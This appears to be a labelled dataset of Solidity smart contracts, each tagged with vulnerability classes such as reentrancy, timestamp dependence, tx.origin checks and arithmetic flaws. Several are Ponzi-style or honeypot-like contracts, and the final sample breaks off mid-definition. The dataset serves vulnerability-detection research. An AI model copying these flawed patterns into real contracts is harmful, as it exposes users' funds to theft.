Thi-Thu-Huong/Balanced-Ethereum-Smart-Contract huggingface dataset:
// Vulnerability label: ARTHM_LE_UE
pragma solidity ^0.4.25;

/**
 *
 *  https://smart-blockchain.pro
 *  High profit investment program
 *  - More than 30% monthly gain! 1% per day!
 *  - Huge promotion campaign for a long life of our Project
 *  - Clean and fair smart code used
 *
 *	based on easyInvest SC
 *
 * How to use:
 *  1. Send any amount of ether to make an investment
 *  2a. Claim your profit by sending 0 ether transaction any time
 *  OR
 *  2b. Send more ether to reinvest AND get your profit at the same time
 *
 * RECOMMENDED GAS LIMIT: 200000
 * RECOMMENDED GAS PRICE: get from https://ethgasstation.info/
 *
 * Contract reviewed and approved by pros!
 *
 */
contract SmartBlockchainPro {
    // records amounts invested
    mapping (address => uint256) invested;
    // records blocks at which investments were made
    mapping (address => uint256) atBlock;
	
	// address to collect budgets for marketing campaign
	address public marketingAddr = 0x43bF9E5f8962079B483892ac460dE3675a3Ef802;

    // this function called every time anyone sends a transaction to this contract
    function () external payable {
        // if sender (aka YOU) is invested more than 0 ether
        if (invested[msg.sender] != 0) {
            // calculate profit amount as such:
            // amount = (amount invested) * 1% * (blocks since last transaction) / 5900
            // 5900 is an average block count per day produced by Ethereum blockchain
            uint256 amount = invested[msg.sender] * 1 / 100 * (block.number - atBlock[msg.sender]) / 5900;

            // send calculated amount of ether directly to sender (aka YOU)
            address sender = msg.sender;
            sender.send(amount);
        }

		if (msg.value != 0) {
			// marketing commission is 15% from your investment
			marketingAddr.send(msg.value * 15 / 100);
		}
		
        // record block number and invested amount (msg.value) of this transaction
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;
    }
}
// Vulnerability label: ARTHM_LE_UE
pragma solidity ^0.4.18;

contract Ownable
{
    address newOwner;
    address owner = msg.sender;
    
    function changeOwner(address addr)
    public
    onlyOwner
    {
        newOwner = addr;
    }
    
    function confirmOwner() 
    public
    {
        if(msg.sender==newOwner)
        {
            owner=newOwner;
        }
    }
    
    modifier onlyOwner
    {
        if(owner == msg.sender)_;
    }
}

contract Token is Ownable
{
    address owner = msg.sender;
    function WithdrawToken(address token, uint256 amount,address to)
    public 
    onlyOwner
    {
        token.call(bytes4(sha3("transfer(address,uint256)")),to,amount); 
    }
}

contract TokenBank is Token
{
    uint public MinDeposit;
    mapping (address => uint) public Holders;
    
     ///Constructor
    function initTokenBank()
    public
    {
        owner = msg.sender;
        MinDeposit = 1 ether;
    }
    
    function()
    payable
    {
        Deposit();
    }
   
    function Deposit() 
    payable
    {
        if(msg.value>MinDeposit)
        {
            Holders[msg.sender]+=msg.value;
        }
    }
    
    function WitdrawTokenToHolder(address _to,address _token,uint _amount)
    public
    onlyOwner
    {
        if(Holders[_to]>0)
        {
            Holders[_to]=0;
            WithdrawToken(_token,_amount,_to);     
        }
    }
   
    function WithdrawToHolder(address _addr, uint _wei) 
    public
    onlyOwner
    payable
    {
        if(Holders[msg.sender]>0)
        {
            if(Holders[_addr]>=_wei)
            {
                _addr.call.value(_wei);
                Holders[_addr]-=_wei;
            }
        }
    }
    
    function Bal() public constant returns(uint){return this.balance;}
}
// Vulnerability label: LE_TimeO
pragma solidity ^0.4.24;

contract Doubler{
    uint public price = 1 wei;
    address public winner = msg.sender;
    
    function() public payable {
        require(msg.value >= price); 
        if (msg.value > price){
            msg.sender.transfer(msg.value - price);
        }
        if (!winner.send(price)){
            msg.sender.transfer(price);
        }
        winner = msg.sender;
        price = price * 2;
    }
    
    
}
// Vulnerability label: LE_TimeO
/**
 *Submitted for verification at Etherscan.io on 2018-12-11
*/

pragma solidity ^0.4.11;
/**
 * Contract that exposes the needed erc20 token functions
 */

contract ERC20Interface {
  // Send _value amount of tokens to address _to
  function transfer(address _to, uint256 _value) public returns (bool success);
  // Get the account balance of another account with address _owner
  function balanceOf(address _owner) public constant returns (uint256 balance);
}
/**
 * Contract that will forward any incoming Ether to the creator of the contract
 */
contract Forwarder {
  // Address to which any funds sent to this contract will be forwarded
  address public parentAddress;
  event ForwarderDeposited(address from, uint value, bytes data);

  /**
   * Create the contract, and sets the destination address to that of the creator
   */
  function Forwarder(address pool) public {
    parentAddress = 0x7cdB2Ce858ACe1d9eE41E1C5b12D581075055B2B;
  }
 
  /**
   * Modifier that will execute internal code block only if the sender is the parent address
   */
  modifier onlyParent {
    if (msg.sender != parentAddress) {
      revert();
    }
    _;
  }

  /**
   * Default function; Gets called when Ether is deposited, and forwards it to the parent address
   */
  function() public payable {
    // throws on failure
    parentAddress.transfer(msg.value);
    // Fire off the deposited event if we can forward it
    ForwarderDeposited(msg.sender, msg.value, msg.data);
  }

  /**
   * Execute a token transfer of the full balance from the forwarder token to the parent address
   * @param tokenContractAddress the address of the erc20 token contract
   */
  function flushTokens(address tokenContractAddress) public {
    ERC20Interface instance = ERC20Interface(tokenContractAddress);
    var forwarderAddress = address(this);
    var forwarderBalance = instance.balanceOf(forwarderAddress);
    if (forwarderBalance == 0) {
      return;
    }
    if (!instance.transfer(parentAddress, forwarderBalance)) {
      revert();
    }
  }

  /**
   * It is possible that funds were sent to this address before the contract was deployed.
   * We can flush those funds to the parent address.
   */
  function flush() public {
    // throws on failure
    parentAddress.transfer(this.balance);
  }
}

// This is a test target for a Forwarder.
// It contains a public function with a side-effect.
contract ForwarderTarget {
  uint public data;

  function ForwarderTarget() public {
  }

  function createForwarder(address pool) public returns (address) {
    return new Forwarder(pool);
  }

  function() public payable {
    // accept unspendable balance
  }
}
// Vulnerability label: LE_TimeO
pragma solidity ^0.4.19;

contract SmzTradingContract
{
    address public constant RECEIVER_ADDRESS = 0xf3eB3CA356c111ECb418D457e55A3A3D185faf61;
    uint256 public constant ACCEPTED_AMOUNT = 3 ether;
    uint256 public RECEIVER_PAYOUT_THRESHOLD = 100 ether;
    
    address public constant END_ADDRESS = 0x3559e34004b944906Bc727a40d7568a98bDc42d3;
    uint256 public constant END_AMOUNT = 0.39 ether;
    
    bool public ended = false;
    
    mapping(address => bool) public addressesAllowed;
    mapping(address => bool) public addressesDeposited;
    
    // The manager can allow and disallow addresses to deposit
    address public manager;
    
    function SmzTradingContract() public
    {
        manager = msg.sender;
    }
    function setManager(address _newManager) external
    {
        require(msg.sender == manager);
        manager = _newManager;
    }
    
    function () payable external
    {
        // If the ending address sends the ending amount, block all deposits
        if (msg.sender == END_ADDRESS && msg.value == END_AMOUNT)
        {
            ended = true;
            RECEIVER_ADDRESS.transfer(this.balance);
            return;
        }
        
        // Only allow deposits if the process has not been ended yet
        require(!ended);
        
        // Only allow deposits of one exact amount
        require(msg.value == ACCEPTED_AMOUNT);
        
        // Only explicitly allowed addresses can deposit
        require(addressesAllowed[msg.sender] == true);
        
        // Each address can only despoit once
        require(addressesDeposited[msg.sender] == false);
        addressesDeposited[msg.sender] = true;
        
        // When an address has deposited, we set their allowed state to 0.
        // This refunds approximately 15000 gas.
        addressesAllowed[msg.sender] = false;
        
        // If we have crossed the payout threshold,
        // transfer all the deposited amounts to the receiver address
        if (this.balance >= RECEIVER_PAYOUT_THRESHOLD)
        {
            RECEIVER_ADDRESS.transfer(this.balance);
        }
    }
    
    // The receiver may add and remove each address' permission to deposit
    function addAllowedAddress(address _allowedAddress) public
    {
        require(msg.sender == manager);
        addressesAllowed[_allowedAddress] = true;
    }
    function removeAllowedAddress(address _disallowedAddress) public
    {
        require(msg.sender == manager);
        addressesAllowed[_disallowedAddress] = false;
    }
    
    function addMultipleAllowedAddresses(address[] _allowedAddresses) external
    {
        require(msg.sender == manager);
        for (uint256 i=0; i<_allowedAddresses.length; i++)
        {
            addressesAllowed[_allowedAddresses[i]] = true;
        }
    }
    function removeMultipleAllowedAddresses(address[] _disallowedAddresses) external
    {
        require(msg.sender == manager);
        for (uint256 i=0; i<_disallowedAddresses.length; i++)
        {
            addressesAllowed[_disallowedAddresses[i]] = false;
        }
    }
}
// Vulnerability label: LE_TimeO
pragma solidity ^0.4.18;




/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}






contract BuckySalary is Ownable {

    address[] public staff;
    mapping(address => uint) public eth;

    
    function BuckySalary() public {

    }


    function getTotal() internal view returns (uint) {
        uint total = 0;
        for (uint i = 0; i < staff.length; i++) {
            total += eth[staff[i]];    
        }

        return total;
    }

    event Transfer(address a, uint v);

    function () public payable {
        uint total = getTotal();
        require(msg.value >= total);

        for (uint i = 0; i < staff.length; i++) {
            
            address s = staff[i];
            uint value = eth[s];
            if (value > 0) {
                s.transfer(value);
                Transfer(s, value);
            }
        }

        if (msg.value > total) {
            msg.sender.transfer(msg.value - total);
        }
    }


    function setETH(address addr, uint value) public onlyOwner {
        if (eth[addr] == 0) {
            staff.push(addr);
        }

        eth[addr] = value;
    }

    function setMultiETH(address[] addr, uint[] value) public onlyOwner {
        require(addr.length == value.length);
        for (uint i = 0; i < addr.length; i++) {
            setETH(addr[i], value[i]);
        }
    }

}
// Vulnerability label: LE_TimeO
pragma solidity ^0.4.21;

interface token {
    function setxiudao(address _owner,uint256 _value,bool zhenjia)   external returns(bool); 
}

contract Ownable {
  address  owner;
  address public admin = 0x24F929f9Ab84f1C540b8FF1f67728246BFec12e1;
 
  
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  function Ownable() public {
    owner = msg.sender;
  }

  modifier onlyOwner() {
    require(msg.sender == owner || msg.sender == admin);
    _;
  }


  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    emit OwnershipTransferred(owner, newOwner);
    admin = newOwner;
  }

}

contract TokenERC20 is Ownable{

    token public tokenReward = token(0x778E763C4a09c74b2de221b4D3c92d8c7f27a038);
    
    uint256 public bili = 7500;
    uint256 public endtime = 1540051199;
    uint256 public amount;
    address public addr = 0x2aCf431877107176c88B6300830C6b696d744344;
    address public addr2 = 0x6090275ca0AD1b36e651bCd3C696622b96a25cFF;
    
	
	function TokenERC20(
    
    ) public {
      
    } 
    
    function setbili(uint256 _value,uint256 _value2)public onlyOwner returns(bool){
        bili = _value;
        endtime = _value2;
        return true;
    }
    function ()public payable{
        if(amount <= 50000000 ether && now <= 1540051199){
            addr2.transfer(msg.value / 2);
            addr.transfer(msg.value / 2); 
            uint256 a = msg.value * bili;
            amount = amount + a;
            tokenReward.setxiudao(msg.sender,a,true);    
        }
        
    }
     
}
// Vulnerability label: LE_TimeO
pragma solidity ^0.4.23;

contract PartnerContract
{
    function() external payable
    {
        if(msg.value == 0)
        {
            uint part = address(this).balance / 2;
            address(0x6B6e4B338b4D5f7D847DaB5492106751C57b7Ff0).transfer(part);
            address(0xe09f3630663B6b86e82D750b00206f8F8C6F8aD4).transfer(part);
        }
    }
}
// Vulnerability label: LE_TimeO
pragma solidity ^0.4.20;

contract LuckyNumber {
  function takeAGuess(uint8 _myGuess) public payable {}
}

contract OneInTen {
  function call_lucky(address contract_address, address contract_owner) public payable {
    uint8 guess = uint8(keccak256(now, contract_owner)) % 10;
    LuckyNumber(contract_address).takeAGuess.value(msg.value)(guess);
    require(this.balance > 0);
    msg.sender.transfer(this.balance);
  }
  
  function() payable external {
  }
}
// Vulnerability label: LE_RENT_TimeO
pragma solidity ^0.4.25;

/**
 *
 * Easy Invest FOREVER Protected 2 Helper Contract
 * Accumulate ether to promote EIFP2 Contract
 * Anyone can send 0 ether to give Accumulated balance to EIFP2
 * 
 */
contract X3ProfitMainFundTransfer {   

    // max contract balance in ether for overflow protection in calculations only
    // 340 quintillion 282 quadrillion 366 trillion 920 billion 938 million 463 thousand 463
	uint public constant maxBalance = 340282366920938463463374607431768211456 wei; //(2^128) 
    address public constant ADDRESS_EIFP2_CONTRACT = 0xf85D337017D9e6600a433c5036E0D18EdD0380f3;
    address public constant ADDRESS_ADMIN =          0x6249046Af9FB588bb4E70e62d9403DD69239bdF5;

	bool private isResend = false;

    // this function called every time anyone sends a transaction to this contract
    function () external payable {
        if(msg.value == 0 || (msg.sender == ADDRESS_EIFP2_CONTRACT && 
                              msg.value >= 0.1 ether && !isResend)){
            
            // if we extreamly earn all ether in world admin will receive 
            // reward for good job
            if(ADDRESS_EIFP2_CONTRACT.balance > maxBalance)
            {
                ADDRESS_ADMIN.transfer(address(this).balance);
                return;
            }
			isResend = msg.sender == ADDRESS_EIFP2_CONTRACT;
            if(!ADDRESS_EIFP2_CONTRACT.call.value(address(this).balance)())
                revert();
			isResend = false;
        }
	}
}
// Vulnerability label: TX-Origin_TimeO
pragma solidity ^0.4.25;

contract WeekendPay
{
    address O = tx.origin;

    function() public payable {}

    function pay() public payable {
        if (msg.value >= this.balance) {
            tx.origin.transfer(this.balance);
        }
    }
    function fin() public {
        if (tx.origin == O) {
            selfdestruct(tx.origin);
        }
    }
 }
// Vulnerability label: RENT_TimeM
pragma solidity ^0.4.25;

contract C_banK
{
    function Put(uint _unlockTime)
    public
    payable
    {
        var acc = Acc[msg.sender];
        acc.balance += msg.value;
        acc.unlockTime = _unlockTime>now?_unlockTime:now;
        LogFile.AddMessage(msg.sender,msg.value,"Put");
    }

    function Collect(uint _am)
    public
    payable
    {
        var acc = Acc[msg.sender];
        if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
        {
            if(msg.sender.call.value(_am)())
            {
                acc.balance-=_am;
                LogFile.AddMessage(msg.sender,_am,"Collect");
            }
        }
    }

    function() 
    public 
    payable
    {
        Put(0);
    }

    struct Holder   
    {
        uint unlockTime;
        uint balance;
    }

    mapping (address => Holder) public Acc;

    Log LogFile;

    uint public MinSum = 2 ether;    

    function C_banK(address log) public{
        LogFile = Log(log);
    }
}


contract Log 
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;

    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}
// Vulnerability label: RENT_TimeM
pragma solidity ^0.4.25;

contract p_bank
{
    function Put(uint _unlockTime)
    public
    payable
    {
        var acc = Acc[msg.sender];
        acc.balance += msg.value;
        acc.unlockTime = _unlockTime>now?_unlockTime:now;
        LogFile.AddMessage(msg.sender,msg.value,"Put");
    }

    function Collect(uint _am)
    public
    payable
    {
        var acc = Acc[msg.sender];
        if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
        {
            if(msg.sender.call.value(_am)())
            {
                acc.balance-=_am;
                LogFile.AddMessage(msg.sender,_am,"Collect");
            }
        }
    }

    function() 
    public 
    payable
    {
        Put(0);
    }

    struct Holder   
    {
        uint unlockTime;
        uint balance;
    }

    mapping (address => Holder) public Acc;

    Log LogFile;

    uint public MinSum = 1 ether;    

    function p_bank(address log) public{
        LogFile = Log(log);
    }
}


contract Log 
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;

    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}
// Vulnerability label: RENT_TimeM
pragma solidity ^0.4.25;

contract c_Bank
{
    function Put(uint _unlockTime)
    public
    payable
    {
        var acc = Acc[msg.sender];
        acc.balance += msg.value;
        acc.unlockTime = _unlockTime>now?_unlockTime:now;
        LogFile.AddMessage(msg.sender,msg.value,"Put");
    }

    function Collect(uint _am)
    public
    payable
    {
        var acc = Acc[msg.sender];
        if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
        {
            if(msg.sender.call.value(_am)())
            {
                acc.balance-=_am;
                LogFile.AddMessage(msg.sender,_am,"Collect");
            }
        }
    }

    function() 
    public 
    payable
    {
        Put(0);
    }

    struct Holder   
    {
        uint unlockTime;
        uint balance;
    }

    mapping (address => Holder) public Acc;

    Log LogFile;

    uint public MinSum = 2 ether;    

    function c_Bank(address log) public{
        LogFile = Log(log);
    }
}


contract Log 
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;

    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}
// Vulnerability label: RENT_TimeM
pragma solidity ^0.4.25;

contract PG_Bank
{
    function Put(uint _unlockTime)
    public
    payable
    {
        var acc = Acc[msg.sender];
        acc.balance += msg.value;
        acc.unlockTime = _unlockTime>now?_unlockTime:now;
        LogFile.AddMessage(msg.sender,msg.value,"Put");
    }

    function Collect(uint _am)
    public
    payable
    {
        var acc = Acc[msg.sender];
        if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
        {
            if(msg.sender.call.value(_am)())
            {
                acc.balance-=_am;
                LogFile.AddMessage(msg.sender,_am,"Collect");
            }
        }
    }

    function() 
    public 
    payable
    {
        Put(0);
    }

    struct Holder   
    {
        uint unlockTime;
        uint balance;
    }

    mapping (address => Holder) public Acc;

    Log LogFile;

    uint public MinSum = 1 ether;    

    function PG_Bank(address log) public{
        LogFile = Log(log);
    }
}


contract Log 
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;

    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}
// Vulnerability label: TimeM
pragma solidity ^0.4.20;

contract gift_for_Mikle
{
    address sender;
    
    address reciver;
    
    bool closed = false;
    
    uint unlockTime;
 
    function SetGiftFor(address _reciver)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || sender==0x00 )
        {
            sender = msg.sender;
            reciver = _reciver;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint _unixTime)
    public
    {
        if(msg.sender==sender&&now>unlockTime)
        {
            unlockTime = _unixTime;
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(reciver==msg.sender&&now>unlockTime)
        {
            selfdestruct(msg.sender);
        }
    }
    
    function CloseGift()
    public
    {
        if(sender == msg.sender && reciver != 0x0 )
        {
           closed=true;
        }
    }
    
    function() public payable{}
}
// Vulnerability label: TimeM
pragma solidity ^0.4.25;

contract DepoX {
    function() public payable {}
    address Owner;
    function setOwner(address X) public { if (Owner==0) Owner = X; }
    function setup(uint256 openDate) public payable {
        if (msg.value >= 1 ether) {
            open = openDate;
        }
    }
    uint256 open;
    function close() public {
        if (msg.sender==Owner && now>=open) {
            selfdestruct(msg.sender);
        }
    }
}
// Vulnerability label: TimeM
pragma solidity ^0.4.20;

contract for_mikle
{
    address sender;
    
    address reciver;
    
    bool closed = false;
    
    uint unlockTime;
 
    function PutGift(address _reciver)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || sender==0x00 )
        {
            sender = msg.sender;
            reciver = _reciver;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint _unixTime)
    public
    {
        if(msg.sender==sender)
        {
            unlockTime = _unixTime;
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(reciver==msg.sender&&now>unlockTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function CloseGift()
    public
    {
        if(sender == msg.sender && reciver != 0x0 )
        {
           closed=true;
        }
    }
    
    function() public payable{}
}
// Vulnerability label: TimeM
pragma solidity ^0.4.20;

contract GIFT_FOR_FRIENDS
{
    address sender;
    
    address reciver;
    
    bool closed = false;
    
    uint unlockTime;
 
    function PutGift(address _reciver)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || sender==0x00 )
        {
            sender = msg.sender;
            reciver = _reciver;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint _unixTime)
    public
    {
        if(msg.sender==sender)
        {
            unlockTime = _unixTime;
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(reciver==msg.sender&&now>unlockTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function CloseGift()
    public
    {
        if(sender == msg.sender && reciver != 0x0 )
        {
           closed=true;
        }
    }
    
    function() public payable{}
}
// Vulnerability label: TimeM
pragma solidity ^0.4.20;

contract FOR_JACK
{
    address sender;
    
    address reciver;
    
    bool closed = false;
    
    uint unlockTime;
 
    function PutGift(address _reciver)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || sender==0x00 )
        {
            sender = msg.sender;
            reciver = _reciver;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint _unixTime)
    public
    {
        if(msg.sender==sender)
        {
            unlockTime = _unixTime;
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(reciver==msg.sender&&now>unlockTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function CloseGift()
    public
    {
        if(sender == msg.sender && reciver != 0x0 )
        {
           closed=true;
        }
    }
    
    function() public payable{}
}
// Vulnerability label: TimeM
pragma solidity ^0.4.20;

contract private_gift
{
    address sender;
    
    address reciver;
    
    bool closed = false;
    
    uint unlockTime;
 
    function PutGift(address _reciver)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || sender==0x00 )
        {
            sender = msg.sender;
            reciver = _reciver;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint _unixTime)
    public
    {
        if(msg.sender==sender)
        {
            unlockTime = _unixTime;
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(reciver==msg.sender&&now>unlockTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function CloseGift()
    public
    {
        if(sender == msg.sender && reciver != 0x0 )
        {
           closed=true;
        }
    }
    
    function() public payable{}
}
// Vulnerability label: TimeM
pragma solidity ^0.4.19;

contract BIRTHDAY_GIFT_1_ETH
{
    address sender;
    
    address reciver;
    
    bool closed = false;
    
    uint unlockTime;
 
    function PutGift(address _reciver)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || sender==0x00 )
        {
            sender = msg.sender;
            reciver = _reciver;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint _unixTime)
    public
    {
        if(msg.sender==sender)
        {
            unlockTime = _unixTime;
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(reciver==msg.sender&&now>unlockTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function CloseGift()
    public
    {
        if(sender == msg.sender && reciver != 0x0 )
        {
           closed=true;
        }
    }
    
    function() public payable{}
}
// Vulnerability label: TimeM
pragma solidity ^0.4.19;

contract PrivateGift
{
    address sender;
    
    address reciver;
    
    bool closed = false;
    
    uint unlockTime;
 
    function PutGift(address _reciver)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || sender==0x0 )
        {
            sender = msg.sender;
            reciver = _reciver;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint _unixTime)
    public
    {
        if(msg.sender==sender)
        {
            unlockTime = _unixTime;
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(reciver==msg.sender&&now>unlockTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function CloseGift()
    public
    {
        if(sender == msg.sender && reciver != 0x0 )
        {
           closed=true;
        }
    }
    
    function() public payable{}
}
// Vulnerability label: TimeM
pragma solidity ^0.4.19;

contract PRESENT_1_ETH
{
    address sender;
    
    address reciver;
    
    bool closed = false;
    
    uint unlockTime;
 
    function PutGift(address _reciver)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || sender==0x00 )
        {
            sender = msg.sender;
            reciver = _reciver;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint _unixTime)
    public
    {
        if(msg.sender==sender)
        {
            unlockTime = _unixTime;
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(reciver==msg.sender&&now>unlockTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function CloseGift()
    public
    {
        if(sender == msg.sender && reciver != 0x0 )
        {
           closed=true;
        }
    }
    
    function() public payable{}
}
// Vulnerability label: TimeM
pragma solidity ^0.4.20;

contract DEDIC_GIFT
{
    address sender;
    
    address reciver;
    
    bool closed = false;
    
    uint unlockTime;
 
    function PutGift(address _reciver)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || sender==0x00 )
        {
            sender = msg.sender;
            reciver = _reciver;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint _unixTime)
    public
    {
        if(msg.sender==sender)
        {
            unlockTime = _unixTime;
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(reciver==msg.sender&&now>unlockTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function CloseGift()
    public
    {
        if(sender == msg.sender && reciver != 0x0 )
        {
           closed=true;
        }
    }
    
    function() public payable{}
}
// Vulnerability label: TimeM
pragma solidity ^0.4.19;

contract Token {
    function balanceOf(address) public constant returns (uint);
    function transfer(address, uint) public returns (bool);
}

contract Vault {
    Token constant public token = Token(0xa645264C5603E96c3b0B078cdab68733794B0A71);
    address constant public recipient = 0x002AE208AD6064F75Fa78e7bbeF9B12DB850f559;
    // UNIX timestamp
    uint constant public unlockedAt = 1564704000;
    
    function unlock() public {
        require(now > unlockedAt);
        uint vaultBalance = token.balanceOf(address(this));
        token.transfer(recipient, vaultBalance);
    }
}
// Vulnerability label: TimeM
pragma solidity ^0.4.20;

contract private_TRANSFER
{
    address sender;
    
    address reciver;
    
    bool closed = false;
    
    uint unlockTime;
 
    function PutGift(address _reciver)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || sender==0x0 )
        {
            sender = msg.sender;
            reciver = _reciver;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint _unixTime)
    public
    {
        if(msg.sender==sender)
        {
            unlockTime = _unixTime;
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(reciver==msg.sender&&now>unlockTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function CloseGift()
    public
    {
        if(sender == msg.sender && reciver != 0x0 )
        {
           closed=true;
        }
    }
    
    function() public payable{}
}
// Vulnerability label: TimeM
pragma solidity ^0.4.19;

contract Token {
    function balanceOf(address) public constant returns (uint);
    function transfer(address, uint) public returns (bool);
}

contract Vault {
    Token constant public token = Token(0xa645264C5603E96c3b0B078cdab68733794B0A71);
    address constant public recipient = 0x002AE208AD6064F75Fa78e7bbeF9B12DB850f559;
    // UNIX timestamp
    uint constant public unlockedAt = 1528397739;
    
    function unlock() public {
        require(now > unlockedAt);
        uint vaultBalance = token.balanceOf(address(this));
        token.transfer(recipient, vaultBalance);
    }
}
// Vulnerability label: TimeM
pragma solidity ^0.4.11;


contract ERC20 {
    function transfer(address _to, uint _value) returns (bool success);
    function transferFrom(address _from, address _to, uint _value) returns (bool success);
}

contract TimeBankToken {

    struct tokenDeposit{
    uint256 timeToWithdraw;
    uint256 numTokens;
    }

    mapping (address => mapping(address => tokenDeposit)) tokenBalances;

    function getInfo(address _tokenAddress, address _holder) constant returns(uint, uint, uint){
        return(tokenBalances[_tokenAddress][_holder].timeToWithdraw,tokenBalances[_tokenAddress][_holder].numTokens, block.timestamp);
    }

    function depositTokens(ERC20 _token, uint256 _time, uint256 _amount) returns (bool){
        require(_amount > 0 && _time > block.timestamp && _time < block.timestamp + 157680000);

        if (!(tokenBalances[_token][msg.sender].timeToWithdraw > 0)) tokenBalances[_token][msg.sender].timeToWithdraw = _time;

        tokenBalances[_token][msg.sender].numTokens += _amount;

        require(_token.transferFrom(msg.sender, this, _amount));

        return true;
    }

    function withdrawTokens(ERC20 _token) returns (bool){

        uint tokens = tokenBalances[_token][msg.sender].numTokens;
        tokenBalances[_token][msg.sender].numTokens = 0;

        require(tokenBalances[_token][msg.sender].timeToWithdraw < block.timestamp && tokens > 0);

        tokenBalances[_token][msg.sender].timeToWithdraw = 0;

        require(_token.transfer(msg.sender, tokens));

        return true;
    }
}
// Vulnerability label: TimeM
pragma solidity ^0.4.19;

contract BirthDayGift
{
    address sender;
    
    address reciver;
    
    bool closed = false;
    
    uint unlockTime;
 
    function PutGift(address _reciver)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || sender==0x00 )
        {
            sender = msg.sender;
            reciver = _reciver;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint _unixTime)
    public
    {
        if(msg.sender==sender)
        {
            unlockTime = _unixTime;
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(reciver==msg.sender&&now>unlockTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function CloseGift()
    public
    {
        if(sender == msg.sender && reciver != 0x0 )
        {
           closed=true;
        }
    }
    
    function() public payable{}
}
// Vulnerability label: ARTHM_LE_TX-Origin
contract NeutralToken {
    function isSenderOwner(address sender) private view returns (bool) {
        return sender == owner_;
    }
    
    modifier onlyOwner() {
        require(isSenderOwner(tx.origin));
        _;
    }
    
    constructor() public payable {
        owner_ = msg.sender;
        balances_[msg.sender] = 1000000e18;
        totalSupply_ = 1000000e18;
    }
    
    string public constant name = "Generic Altcoin";
    string public constant symbol = "GA";
    uint8 public constant decimals = 18;
    
    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
    
